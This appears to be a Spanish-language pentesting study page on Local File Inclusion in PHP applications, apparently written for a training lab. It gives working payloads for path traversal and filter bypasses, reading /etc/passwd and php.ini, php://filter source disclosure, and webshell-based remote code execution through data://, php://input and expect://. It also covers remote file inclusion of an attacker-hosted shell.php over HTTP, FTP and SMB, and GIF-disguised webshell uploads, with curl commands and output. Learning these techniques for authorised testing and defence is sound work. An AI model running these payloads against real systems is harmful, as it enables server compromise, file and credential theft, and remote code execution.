> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/hacking-web/lfi.md).

# LFI

## Local File Inclusion (LFI)

Las vulnerabilidades de LFI permiten leer el contenido de archivos locales del servidor back-end cuando una aplicación incluye archivos basándose en parámetros controlados por el usuario.

### LFI Básico

Ejemplo: una app que cambia de idioma mediante un parámetro en la URL:

```
http://<SERVER_IP>:<PORT>/index.php?language=es.php
```

Si la app incluye ese archivo en la página, puede que podamos cambiar el archivo solicitado para leer otro archivo local. Dos archivos legibles comunes son `/etc/passwd` (Linux) y `C:\Windows\boot.ini` (Windows):

```
http://<SERVER_IP>:<PORT>/index.php?language=/etc/passwd
```

Si funciona, la página es vulnerable y podemos ver los usuarios del sistema.

### Path Traversal

El caso anterior funciona si el input se usa directamente en `include()`:

```php
include($_GET['language']);
```

Pero muchas veces el desarrollador **antepone** una ruta al parámetro:

```php
include("./languages/" . $_GET['language']);
```

Aquí un `/etc/passwd` se convierte en `./languages//etc/passwd`, que no existe. Para saltarlo se usan **rutas relativas** con `../` (directorio padre), retrocediendo hasta la raíz (`/`) antes de la ruta absoluta:

```
http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/passwd
```

* **`../`** → sube un directorio. Repetido, retrocede hasta la raíz.

Este truco funciona en ambos casos (input directo o con ruta previa), así que conviene usarlo por defecto. Estando en `/`, añadir más `../` no rompe nada: aunque pongas cien, te quedas en la raíz.

> **Tip:** usa el mínimo de `../` que funcione. Si conoces la profundidad (ej. `/var/www/html/` está a 3 directorios de la raíz), usa exactamente `../` tres veces (`../../../`). Es más limpio para reportes y exploits.

### Prefijo en el Nombre de Archivo

A veces el input se añade tras un **prefijo**:

```php
include("lang_" . $_GET['language']);
```

Aquí `../../../etc/passwd` queda como `lang_../../../etc/passwd`, inválido. Se soluciona anteponiendo un `/` para que el prefijo se trate como directorio:

```
http://<SERVER_IP>:<PORT>/index.php?language=/../../../etc/passwd
```

* **`/` inicial** → hace que `lang_` se interprete como directorio, permitiendo el traversal.

> No siempre funciona (puede que no exista un directorio `lang_/`), y cualquier prefijo puede romper otras técnicas como wrappers PHP o RFI.

### Extensión Añadida

Muy común: se **añade** una extensión al parámetro, normalmente para restringir a archivos PHP:

```php
include($_GET['language'] . ".php");
```

Aquí `/etc/passwd` se convierte en `/etc/passwd.php`, que no existe:

```
http://<SERVER_IP>:<PORT>/extension/index.php?language=/etc/passwd
```

Existen técnicas para saltar esta restricción (wrappers, null byte, filtros), que se ven en secciones posteriores.

> **Ejercicio:** intenta leer un archivo PHP (ej. `index.php`) por LFI y observa si obtienes su código fuente o si se renderiza como HTML.

### Ataques de Segundo Orden (Second-Order)

Más avanzado. Ocurre cuando la app extrae archivos del back-end basándose en un valor que controlas **indirectamente**.

Ejemplo: descargar tu avatar vía `/profile/$username/avatar.png`. Si registras un username malicioso con payload LFI (`../../../etc/passwd`), otra funcionalidad de la app usará esa entrada **envenenada** de la base de datos para servir otro archivo local en vez de tu avatar.

Se llama de "segundo orden" porque el payload se guarda primero (envenenando la BD durante el registro) y se dispara después mediante otra función. Los desarrolladores suelen protegerse del input directo (ej. `?page`) pero **confían** en los valores que vienen de su propia base de datos.

La explotación es igual que el LFI normal; solo cambia que hay que localizar una función que extraiga un archivo según un valor que controlas indirectamente, y luego manipular ese valor.

**Nota clave:** todas estas técnicas funcionan con cualquier LFI, sin importar el lenguaje o framework del back-end.

**Resumen de payloads para el cheatsheet:**

| Escenario del `include()`                   | Payload                                                  |
| ------------------------------------------- | -------------------------------------------------------- |
| Input directo                               | `/etc/passwd`                                            |
| Ruta antepuesta (`"./languages/" . $input`) | `../../../../etc/passwd`                                 |
| Prefijo (`"lang_" . $input`)                | `/../../../etc/passwd`                                   |
| Extensión añadida (`$input . ".php"`)       | Requiere bypass (wrappers/null byte, próximas secciones) |

## Bypasses Básicos de LFI

Cuando la app aplica protecciones contra file inclusion, los payloads normales de LFI fallan. Aun así, si el filtrado no es robusto, podemos saltárnoslo con estas técnicas.

### Filtros de Path Traversal No Recursivos

El filtro más básico busca y elimina la cadena `../`:

```php
$language = str_replace('../', '', $_GET['language']);
```

El problema es que **no es recursivo**: se ejecuta una sola vez y no revisa el resultado. Si usamos `....//`, el filtro elimina el `../` del centro y lo que **queda** es `../`. Payload de bypass:

```
http://<SERVER_IP>:<PORT>/index.php?language=....//....//....//....//etc/passwd
```

* **`....//`** → tras eliminar el `../` interno, queda `../`. Reconstruye el traversal.

Otras variantes válidas: `..././`, `....\/`, escapar la barra (`....\/`) o añadir barras extra (`....////`).

### Encoding (URL Encoding)

Si el filtro bloquea caracteres como `.` o `/`, se pueden **URL-encodear** para que pasen el filtro pero se decodifiquen al llegar a la función vulnerable. `../` se convierte en `%2e%2e%2f`:

```
<SERVER_IP>:<PORT>/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
```

* **`%2e%2e%2f`** → codificación URL de `../`.

> Hay que codificar **todos** los caracteres, incluidos los puntos (algunos encoders no lo hacen). Puedes usar el Decoder de Burp. Un **doble encoding** puede saltar otros filtros. PHP ≤ 5.3.4 era especialmente vulnerable a esto.

### Rutas Aprobadas (Approved Paths)

La app puede usar una regex para exigir que el archivo esté bajo un directorio concreto:

```php
if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
    include($_GET['language']);
} else {
    echo 'Illegal path specified!';
}
```

El bypass consiste en **empezar el payload con la ruta aprobada** y luego usar `../` para salir a la raíz:

```
<SERVER_IP>:<PORT>/index.php?language=./languages/../../../../etc/passwd
```

* **`./languages/`** → satisface la regex del path aprobado.
* **`../../../../`** → sale de ahí hacia la raíz para leer el archivo real.

> Se puede combinar con las técnicas anteriores (encoding o payloads recursivos) si aplican varios filtros a la vez. Para encontrar la ruta aprobada, examina las peticiones normales de la app o haz fuzzing de directorios.

### Extensión Añadida

Si la app añade `.php` a tu input, en versiones **modernas** de PHP no podrás saltarlo y quedarás limitado a leer archivos `.php` (útil igualmente para leer código fuente, como se ve en la siguiente sección). Las técnicas siguientes solo funcionan en **PHP < 5.3/5.4**, pero valen para servidores antiguos.

### **Path Truncation**

En PHP antiguo, los strings tenían un máximo de **4096 caracteres**; lo que excede se trunca. PHP también eliminaba las barras finales y los puntos sueltos (`/etc/passwd/.` → `/etc/passwd`), ignoraba las barras múltiples (`////etc/passwd` = `/etc/passwd`) y el `.` intermedio (`/etc/./passwd`).

Combinando esto, se crea un string tan largo que la extensión `.php` queda truncada. Hay que empezar con un directorio inexistente:

```
?language=non_existing_directory/../../../etc/passwd/./././././ [REPETIDO ~2048 veces]
```

Para generar la cadena automáticamente:

```bash
echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done
```

* **`echo -n "..."`** → imprime la base de la ruta sin salto de línea.
* **`for i in {1..2048}; do echo -n "./"; done`** → añade `./` 2048 veces (4096 caracteres) para forzar el truncamiento de `.php`.

### **Null Bytes**

PHP **< 5.5** era vulnerable a inyección de null byte. Un `%00` al final termina el string y descarta lo que venga después (por cómo se almacenan los strings en memoria, terminados en null byte como en C/C++):

```
?language=/etc/passwd%00
```

* **`%00`** → null byte. El path final sería `/etc/passwd%00.php`, pero se corta en el null byte → se incluye `/etc/passwd`, ignorando el `.php` añadido.

**Nota clave:** todas estas técnicas funcionan con cualquier LFI, sin importar el lenguaje o framework del back-end.

### **Resumen para el cheatsheet:**

| Filtro / Protección                   | Bypass                                          |
| ------------------------------------- | ----------------------------------------------- |
| `str_replace('../', '')` no recursivo | `....//....//etc/passwd` (o `..././`, `....\/`) |
| Bloqueo de `.` y `/`                  | URL encode: `%2e%2e%2f` (o doble encoding)      |
| Regex de ruta aprobada                | `./languages/../../../../etc/passwd`            |
| Extensión `.php` añadida (PHP < 5.3)  | Path truncation (`./` × 2048)                   |
| Extensión `.php` añadida (PHP < 5.5)  | Null byte: `/etc/passwd%00`                     |

### Ejemplo 1

```bash
http://154.57.164.78:31083/index.php?language=languages/....//....//....//....//etc/passwd
```

Este comando explota una vulnerabilidad **LFI** aprovechando un filtro de path traversal **no recursivo**. Aquí está el desglose de la URL:

**`http://154.57.164.78:31083/index.php`** — el endpoint vulnerable.

* **`?language=`** — el parámetro vulnerable a LFI. La app incluye un archivo basándose en este valor.
* **`languages/`** — la ruta que la app espera/aprueba. Se antepone porque probablemente el `include()` construye la ruta a partir de este directorio, o para satisfacer un filtro de ruta aprobada. Da el punto de partida antes de empezar a salir hacia la raíz.
* **`....//....//....//....//`** — la pieza clave: el **payload de bypass recursivo**. Aquí hay un filtro que elimina `../` una sola vez y sin recursión (tipo `str_replace('../', '', $input)`). Al usar `....//`, el filtro borra el `../` que está en el centro de la cadena, y lo que **queda** es `../`. Cada `....//` se convierte en un `../` funcional tras el filtrado, reconstruyendo el traversal que la protección intentaba eliminar. Cuatro repeticiones = cuatro `../` efectivos para subir directorios hacia la raíz.
* **`etc/passwd`** — el archivo objetivo tras llegar a la raíz (`/`): el archivo de usuarios del sistema en Linux, el clásico para confirmar LFI.

En resumen: *"Incluye `/etc/passwd` partiendo del directorio `languages/`, usando `....//` para burlar un filtro que elimina `../` de forma no recursiva."*

La lógica del bypass paso a paso:

* Tú envías: `....//`
* El filtro busca `../` y lo elimina una vez: `....//` → `../`
* El resultado `../` llega intacto a `include()` y ejecuta el traversal.

Como el filtro no vuelve a pasar sobre su propia salida, cada `....//` sobrevive convertido en un `../` limpio. Por eso funciona donde un `../../` normal sería borrado por completo.

## PHP Filters (Divulgación de Código Fuente)

Cuando encontramos una LFI en una app PHP, podemos usar **PHP Wrappers** para extender la explotación: leer código fuente PHP e incluso llegar a ejecución remota de comandos (esto último en la siguiente sección). Estos wrappers dan acceso a distintos flujos de I/O a nivel de aplicación.

### Filtros de Entrada (Input Filters)

Los filtros PHP transforman los datos de un stream. Se accede al wrapper de filtros con el esquema `php://filter/`. Tiene dos parámetros clave:

* **`resource`** → especifica el stream/archivo sobre el que aplicar el filtro (obligatorio).
* **`read`** → especifica qué filtro aplicar sobre ese recurso.

Hay cuatro tipos de filtros (String, Conversion, Compression, Encryption), pero el útil para LFI es **`convert.base64-encode`** (de los Conversion Filters).

### Fuzzing de Archivos PHP

Primer paso: descubrir páginas PHP disponibles con `ffuf` o `gobuster`:

```bash
ffuf -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ \
  -u http://<SERVER_IP>:<PORT>/FUZZ.php
```

* **`-w <wordlist>:FUZZ`** → diccionario; `FUZZ` marca dónde se inyecta cada palabra.
* **`-u <URL>/FUZZ.php`** → URL objetivo con el punto de fuzzing en el nombre del archivo `.php`.

> **Tip:** al tener acceso LFI, no te limites a respuestas 200. Escanea también `301`, `302` y `403`: puedes leer su código fuente igualmente. Además, tras leer un archivo, búscale referencias a otros PHP y ve leyéndolos en cadena.

### El Problema: Inclusión Estándar de PHP

Si incluyes un archivo PHP por LFI normal, este **se ejecuta** y se renderiza como HTML en vez de mostrarte su código. Ejemplo incluyendo `config.php`:

```
http://<SERVER_IP>:<PORT>/index.php?language=config
```

El resultado sale **vacío**, porque `config.php` solo define configuración y no genera HTML. Para pentesting normalmente queremos el **código fuente** (revela credenciales, claves de BD, lógica), no su ejecución.

### Divulgación de Código Fuente (base64 filter)

Aquí entra el filtro base64: codifica el archivo PHP en vez de ejecutarlo, devolviéndote el fuente codificado. Se especifica `convert.base64-encode` en `read` y el archivo en `resource`:

```
php://filter/read=convert.base64-encode/resource=config
```

URL completa:

```
http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=config
```

* **`php://filter/`** → invoca el wrapper de filtros.
* **`read=convert.base64-encode`** → aplica el filtro que codifica el recurso en Base64 (evita que se ejecute).
* **`resource=config`** → el archivo objetivo. Se deja al final porque la app añade `.php` automáticamente → `config.php`.

Esto devuelve una cadena Base64 en lugar del resultado vacío. Se decodifica para ver el fuente:

bash

```bash
echo 'PD9waHAK...SNIP...KICB9Ciov' | base64 -d
```

* **`echo '<base64>'`** → la cadena codificada obtenida.
* **`base64 -d`** → la decodifica (`-d` = decode) mostrando el código fuente real.

> **Tip:** copia la cadena Base64 **completa** o no decodificará bien. Usa "ver código fuente" de la página para asegurarte de capturarla entera.

Con el fuente ya visible, búscale credenciales, claves y referencias a otros archivos PHP, y repite el proceso con cada uno.

**Nota:** este truco de base64 es necesario porque la función vulnerable **ejecuta** los PHP. Si la función solo leyera (sin ejecutar), obtendrías el fuente directamente sin filtros. Esto es especialmente útil cuando la LFI tiene extensión `.php` añadida y estás restringido a incluir solo archivos PHP.

### **Resumen para el cheatsheet:**

| Objetivo                                         | Payload                                                             |
| ------------------------------------------------ | ------------------------------------------------------------------- |
| Ejecutar/incluir PHP (sale vacío si no hay HTML) | `?language=config`                                                  |
| Leer código fuente PHP (Base64)                  | `?language=php://filter/read=convert.base64-encode/resource=config` |
| Decodificar el resultado                         | `echo '<base64>' \| base64 -d`                                      |

### Ejemplo 1

Dentro del contexto, ya encontramos un LFI en (index.php?language=)

Luego encontrar mediante fuzzing un archivo sospechoso

<figure><img src="/files/OXBN5ZmFiDklvxP92mrt" alt=""><figcaption></figcaption></figure>

Luego probar con:

```
php://filter/read=convert.base64-encode/resource=archivo
```

Este es un **wrapper de flujo de PHP** muy usado en explotación de **LFI (Local File Inclusion)**. Sirve para leer el código fuente de archivos —normalmente `.php`— sin que el servidor los ejecute.

<table><thead><tr><th width="230">Parte</th><th width="514">Significado</th></tr></thead><tbody><tr><td><code>php://</code></td><td>Protocolo/wrapper interno de PHP para acceder a flujos de E/S.</td></tr><tr><td><code>filter/</code></td><td>Usa el wrapper <code>php://filter</code>, que aplica filtros sobre un flujo antes de leerlo/escribirlo.</td></tr><tr><td><code>read=convert.base64-encode</code></td><td>Aplica el filtro <code>convert.base64-encode</code> en la operación de <strong>lectura</strong>. Codifica el contenido a Base64.</td></tr><tr><td><code>resource=archivo</code></td><td>El recurso (archivo) objetivo sobre el que se aplica el filtro.</td></tr></tbody></table>

El problema típico: si tienes un LFI y haces `include('config.php')` directamente, PHP **interpreta y ejecuta** el archivo en lugar de mostrártelo. No ves el código, solo su salida (que muchas veces es vacía).

Al pasarlo por `convert.base64-encode`, el archivo se convierte a Base64 **antes** de llegar al motor de PHP. Como una cadena Base64 no es código PHP válido para ejecutar, se muestra tal cual en la respuesta. Luego solo lo decodificas y tienes el fuente completo —ideal para sacar credenciales de DB, claves, rutas, etc.

<figure><img src="/files/lUwTvpc7yagT3gJlhSnV" alt=""><figcaption></figcaption></figure>

Decodeamos el base64 y obtenemos informacion del archivo configure.php

<figure><img src="/files/wjqntpzSqlJZHp7f0qdN" alt=""><figcaption></figcaption></figure>

## PHP Wrappers — RCE vía LFI

Hasta este punto, un **LFI (Local File Inclusion)** solo nos servía para **leer archivos** del servidor. Aquí damos el salto a la **ejecución de código** en el back-end.

PHP incluye varios *stream wrappers* que, bajo ciertas condiciones de configuración, permiten no solo incluir archivos locales sino **inyectar y ejecutar código PHP** o **lanzar comandos del sistema** directamente a través de la función vulnerable (`include`, `require`, etc.).

El requisito clave para casi todos es el ajuste `allow_url_include = On` en el `php.ini`. Por eso el **primer paso** siempre es verificar la configuración, reutilizando el filtro `convert.base64-encode` (los `.ini` se rompen en la salida si no se codifican).

{% hint style="warning" %} `allow_url_include` **no** está habilitado por defecto. Se requiere para `data://`, `php://input` y para cualquier ataque RFI. Muchas apps (plugins/temas de WordPress, por ejemplo) lo activan para funcionar. {% endhint %}

### Verificar la configuración de PHP

```bash
# Leer php.ini codificado en Base64 vía LFI
curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"

# Decodificar y filtrar el flag que nos interesa
echo 'W1BIUF0KCjs7...SNIP...cHJlbG9hZD0K' | base64 -d | grep allow_url_include
# allow_url_include = On
```

### **Rutas típicas del `php.ini`:**

| Servidor        | Ruta                           |
| --------------- | ------------------------------ |
| Apache          | `/etc/php/X.Y/apache2/php.ini` |
| Nginx (PHP-FPM) | `/etc/php/X.Y/fpm/php.ini`     |

> Empieza por la versión de PHP más reciente y baja si no encuentras el archivo.

### 1. `data://` — Incluir código PHP como dato externo

Permite incluir datos externos, incluyendo código PHP. Aceptando el prefijo `text/plain;base64,`, decodifica la cadena y **ejecuta** el PHP resultante.

**Requiere:** `allow_url_include = On`

```bash
# 1) Codificar la webshell en Base64
echo '<?php system($_GET["cmd"]); ?>' | base64
# PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==

# 2) Inyectar (Base64 URL-encoded) y ejecutar comando con &cmd=
curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

| Parámetro                   | Función                                                                     |
| --------------------------- | --------------------------------------------------------------------------- |
| `data://text/plain;base64,` | Declara MIME `text/plain` e indica que lo siguiente es Base64 a decodificar |
| `%2B` / `%3D`               | URL-encode de `+` y `=`; sin esto el Base64 se corrompe en la URL           |
| `&cmd=id`                   | Comando que recibe la webshell dinámica vía `$_GET["cmd"]`                  |

### 2. `php://input` — Código PHP en el cuerpo POST

Igual que `data://`, pero la webshell viaja como **data de una petición POST** en lugar de en la URL.

**Requiere:** `allow_url_include = On` **+** que el parámetro vulnerable acepte **POST**.

bash

```bash
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' \
  "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

| Parámetro              | Función                                            |
| ---------------------- | -------------------------------------------------- |
| `-X POST --data '...'` | Envía la webshell en el cuerpo de la petición      |
| `language=php://input` | El wrapper lee el body crudo y lo ejecuta como PHP |
| `&cmd=id`              | Requiere que la función use `$_REQUEST`/`$_GET`    |

{% hint style="info" %} Si la función solo acepta POST, no puedes pasar el comando por GET. En ese caso mete el comando **fijo** dentro del código: `<?php system('id'); ?>` {% endhint %}

### 3. `expect://` — Ejecución directa de comandos

No necesita webshell: está **diseñado para ejecutar comandos** del sistema directamente.

**Requiere:** la extensión externa `expect` instalada y habilitada (`extension=expect` en el `php.ini`).

```bash
# Verificar que la extensión esté declarada en la config
echo 'W1BIUF0KCjs7...SNIP...cHJlbG9hZD0K' | base64 -d | grep expect
# extension=expect

# Ejecutar comandos directamente
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id" | grep uid
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

| Parámetro     | Función                                                         |
| ------------- | --------------------------------------------------------------- |
| `expect://id` | El texto tras `expect://` es el comando que se ejecuta tal cual |

{% hint style="warning" %} Que `extension=expect` aparezca en la config **no garantiza** que la extensión cargue en runtime. Hay que probarla directamente con el wrapper. {% endhint %}

### Tabla comparativa

| Wrapper       | `allow_url_include` | Método                     | Requisito especial           |
| ------------- | ------------------- | -------------------------- | ---------------------------- |
| `data://`     | ✅                   | Webshell en Base64 por GET | —                            |
| `php://input` | ✅                   | Webshell por POST body     | Parámetro acepta POST        |
| `expect://`   | ❌                   | Comando directo            | Extensión `expect` instalada |

{% hint style="success" %} **Confirmación de RCE:** `grep uid` en la salida devuelve algo como `uid=33(www-data)`, lo que verifica que el comando se ejecutó en el back-end. {% endhint %}

### Notas

* Estos son los **tres wrappers más comunes** para RCE directo vía LFI.
* Quedan pendientes `phar://` y `zip://`, útiles en apps que permiten **subida de archivos**.
* Vía trivial alternativa: enumerar credenciales (`config.php`) o claves SSH (`~/.ssh/id_rsa`) leídas por LFI y reutilizarlas para acceso remoto.

### Ejemplo 1

Tomando en cuenta que ya tenemos un parametro vulnerable a LFI, con la idea de probar el wrapper DATA debemos validar que el parametro "allow\_url\_include" esté en ON.

```bash
curl -s "http://154.57.164.64:32272/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini" | grep -oE '[A-Za-z0-9+/=]{50,}' | base64 -d | grep allow_url_include
```

Es un ataque **LFI con wrapper `php://filter`** para leer el `php.ini` de un servidor remoto y comprobar `allow_url_include`.

| Parte                                                                                                                      | Qué hace                                                                                                                                                                                   |
| -------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `curl -s "...index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"` | Explota el parámetro vulnerable `language`. El wrapper codifica el archivo en Base64 (para exfiltrarlo sin que se ejecute) y usa path traversal (`../../../../`) para llegar al `php.ini`. |
| `grep -oE '[A-Za-z0-9+/=]{50,}'`                                                                                           | Aísla el blob Base64 (cadenas de 50+ caracteres del alfabeto Base64), descartando el HTML de la respuesta.                                                                                 |
| `base64 -d`                                                                                                                | Decodifica el Base64 → recupera el `php.ini` en texto plano.                                                                                                                               |
| `grep allow_url_include`                                                                                                   | Filtra solo esa directiva.                                                                                                                                                                 |

**Por qué importa `allow_url_include`:** si está en `On`, puedes escalar de **LFI a RFI/RCE**; si está en `Off`, te limitas a técnicas locales (wrappers, log/session poisoning).

**Nota:** el `.ini` confirma **PHP 7.4 sobre Apache** en Debian/Ubuntu. Si el Base64 viene partido en varias líneas, añade `| tr -d '\n'` antes de `base64 -d`.

<figure><img src="/files/H6E4KKKCzEl1YGVX1snK" alt=""><figcaption></figcaption></figure>

Como validamos que este parámetro está en ON probamos un RCE

```bash
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://154.57.164.64:32272/index.php?language=php://input&cmd=id" 
```

<figure><img src="/files/bOts8vxRt31eXkQe3MIQ" alt=""><figcaption></figcaption></figure>

Hasta aqui se ejecuta el RCE sin problemas, el uso de wrappers cambiará segun el escenario.

## Remote File Inclusion (RFI)

El **Remote File Inclusion (RFI)** ocurre cuando una función vulnerable permite incluir archivos **remotos** vía URL, no solo archivos locales. A diferencia del LFI, esto habilita dos objetivos principales:

* **SSRF** → enumerar puertos y aplicaciones web internas (localhost / red interna).
* **RCE** → incluir un script malicioso alojado por el atacante y ejecutarlo en el servidor.

Casi todo RFI es también LFI, pero **no al revés**. Un LFI **no** será RFI cuando:

* La función no permite incluir URLs remotas.
* Solo controlas una parte del nombre de archivo, no el wrapper del protocolo (`http://`, `ftp://`, `https://`).
* La configuración lo bloquea (la mayoría de servidores modernos deshabilitan la inclusión remota por defecto).

En **PHP**, la inclusión remota depende de la directiva `allow_url_include = On`. Además, hay que distinguir qué funciones **leen** y cuáles además **ejecutan**:

| Lenguaje | Función                        | Lee | Ejecuta | URL remota |
| -------- | ------------------------------ | --- | ------- | ---------- |
| PHP      | `include()` / `include_once()` | ✅   | ✅       | ✅          |
| PHP      | `file_get_contents()`          | ✅   | ❌       | ✅          |
| Java     | `import`                       | ✅   | ✅       | ✅          |
| .NET     | `@Html.RemotePartial()`        | ✅   | ❌       | ✅          |
| .NET     | `include`                      | ✅   | ✅       | ✅          |

> Las funciones que solo **leen** (ej. `file_get_contents`) no dan RCE, pero siguen siendo útiles para **SSRF**.

### Verificar RFI

Antes de intentar RCE conviene confirmar que la inclusión remota está activa. Se puede leer la config vía LFI:

```bash
echo 'W1BIUF0K...SNIP...' | base64 -d | grep allow_url_include
# allow_url_include = On
```

Esto no siempre es fiable (la directiva puede estar `On` pero la función bloquear la inclusión). El método más confiable es **intentar incluir una URL local** primero, para no gatillar firewall/WAF:

```
http://<SERVER_IP>:<PORT>/index.php?language=http://127.0.0.1:80/index.php
```

* Si el contenido se **renderiza como PHP** (no como texto plano), la función **ejecuta** código remoto.
* Si accedes a otros puertos internos (ej. `8080`), tienes **SSRF** hacia servicios internos.

> ⚠️ **Evita incluir el propio `index.php`**: puede provocar un bucle de inclusión recursivo y DoS al servidor.

### RCE vía HTTP

Crear el web shell y alojarlo en un servidor HTTP propio:

```bash
echo '<?php system($_GET["cmd"]); ?>' > shell.php
sudo python3 -m http.server 80
```

Incluir el shell remoto y ejecutar un comando:

```
http://<SERVER_IP>:<PORT>/index.php?language=http://<OUR_IP>:80/shell.php&cmd=id
```

| Parámetro                   | Descripción                                                                                                               |
| --------------------------- | ------------------------------------------------------------------------------------------------------------------------- |
| `system($_GET["cmd"])`      | Ejecuta como comando del sistema lo que llegue en el parámetro GET `cmd`.                                                 |
| `python3 -m http.server 80` | Levanta un servidor HTTP para servir `shell.php`. Usar 80/443 aumenta la probabilidad de estar en la whitelist de salida. |
| `language=`                 | Parámetro vulnerable donde se inyecta la URL remota.                                                                      |
| `&cmd=id`                   | Comando a ejecutar en el objetivo (cambiar según necesidad).                                                              |

> **Tip:** revisa la petición entrante en tu servidor. Si ves que se añade una extensión extra (ej. `.php`), quítala de tu payload para que la URL quede exacta.

### RCE vía FTP

Alternativa cuando el puerto o el esquema `http://` está bloqueado por firewall o WAF:

```bash
sudo python -m pyftpdlib -p 21
```

Incluir el shell vía esquema `ftp://`:

```
http://<SERVER_IP>:<PORT>/index.php?language=ftp://<OUR_IP>/shell.php&cmd=id
```

Con autenticación (PHP intenta login **anónimo** por defecto):

```bash
curl 'http://<SERVER_IP>:<PORT>/index.php?language=ftp://user:pass@<OUR_IP>/shell.php&cmd=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

| Parámetro                  | Descripción                                                |
| -------------------------- | ---------------------------------------------------------- |
| `pyftpdlib -p 21`          | Servidor FTP en el puerto 21 para alojar el shell.         |
| `ftp://<OUR_IP>/shell.php` | Inclusión vía protocolo FTP (útil si HTTP está filtrado).  |
| `ftp://user:pass@<OUR_IP>` | Credenciales embebidas en la URL si el servidor las exige. |

### RCE vía SMB (objetivo Windows)

Si el objetivo es **Windows** (se ve en los headers `Server` de la respuesta HTTP), **no se necesita** `allow_url_include`. Windows trata los recursos SMB como archivos normales referenciables por ruta **UNC**.

```bash
impacket-smbserver -smb2support share $(pwd)
```

Incluir el shell mediante ruta UNC:

```
http://<SERVER_IP>:<PORT>/index.php?language=\\<OUR_IP>\share\shell.php&cmd=whoami
```

| Parámetro                    | Descripción                                                          |
| ---------------------------- | -------------------------------------------------------------------- |
| `impacket-smbserver`         | Levanta un servidor SMB (permite autenticación anónima por defecto). |
| `-smb2support`               | Habilita SMBv2, requerido por clientes Windows modernos.             |
| `share`                      | Nombre del recurso compartido.                                       |
| `$(pwd)`                     | Directorio local expuesto (donde está `shell.php`).                  |
| `\\<OUR_IP>\share\shell.php` | Ruta UNC que Windows resuelve como archivo local.                    |

> Funciona de forma más fiable si estás en la **misma red**; el acceso SMB por internet suele estar bloqueado por defecto en la configuración de Windows.

### Resumen rápido

| Vector   | Requiere `allow_url_include` | Cuándo usarlo                                                   |
| -------- | ---------------------------- | --------------------------------------------------------------- |
| **HTTP** | ✅                            | Caso general; puertos 80/443 suelen estar permitidos de salida. |
| **FTP**  | ✅                            | Cuando HTTP/`http://` está filtrado por WAF o firewall.         |
| **SMB**  | ❌                            | Objetivo Windows, idealmente en la misma red.                   |

## LFI + File Uploads

Las funcionalidades de subida de archivos son omnipresentes en aplicaciones modernas. Para un atacante, poder **almacenar archivos** en el servidor extiende la explotación de muchas vulnerabilidades, entre ellas el **LFI**.

Lo clave: **el formulario de subida NO necesita ser vulnerable**. Basta con que permita subir un archivo. Si la función de inclusión tiene capacidad de **ejecución**, el código dentro del archivo que subimos se ejecutará al incluirlo, **sin importar la extensión ni el tipo de archivo**.

> Ejemplo: subimos un `image.jpg` que en lugar de datos de imagen contiene un web shell PHP. Al incluirlo vía LFI, el código PHP se ejecuta → **RCE**.

Funciones que permiten **ejecutar** código con inclusión (cualquiera sirve para estas técnicas):

| Lenguaje | Función                        | Lee | Ejecuta | URL remota |
| -------- | ------------------------------ | --- | ------- | ---------- |
| PHP      | `include()` / `include_once()` | ✅   | ✅       | ✅          |
| PHP      | `require()` / `require_once()` | ✅   | ✅       | ❌          |
| NodeJS   | `res.render()`                 | ✅   | ✅       | ❌          |
| Java     | `import`                       | ✅   | ✅       | ✅          |
| .NET     | `include`                      | ✅   | ✅       | ✅          |

### Método 1 — Image Upload (el más fiable)

#### Crear la imagen maliciosa

Usamos una extensión de imagen permitida (ej. `.gif`) e incluimos los **magic bytes** al inicio del contenido (`GIF8`), por si el formulario valida extensión **y** content-type:

```bash
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
```

El archivo por sí solo es inofensivo; combinado con un LFI da RCE.

> Se usa **GIF** porque sus magic bytes (`GIF8`) son ASCII y fáciles de escribir. Otras extensiones tienen magic bytes binarios que habría que URL-encodear, pero la técnica funciona con cualquier tipo permitido.

#### Subir y localizar la ruta

Se sube el archivo (ej. en `settings.php`, avatar de perfil). Luego hay que conocer la **ruta** del archivo subido. Normalmente se obtiene inspeccionando el código fuente:

```html
<img src="/profile_images/shell.gif" class="profile-image" id="profile-image">
```

> Si no conoces la ruta, puedes **fuzzear** el directorio de uploads y luego el archivo, aunque algunas apps ocultan bien los archivos subidos.

#### Incluir y ejecutar

```
http://<SERVER_IP>:<PORT>/index.php?language=./profile_images/shell.gif&cmd=id
```

| Parámetro                    | Descripción                                             |
| ---------------------------- | ------------------------------------------------------- |
| `GIF8`                       | Magic bytes que hacen pasar el archivo como GIF válido. |
| `system($_GET["cmd"])`       | Ejecuta el comando recibido en el parámetro GET `cmd`.  |
| `./profile_images/shell.gif` | Ruta relativa al archivo subido.                        |
| `&cmd=id`                    | Comando a ejecutar.                                     |

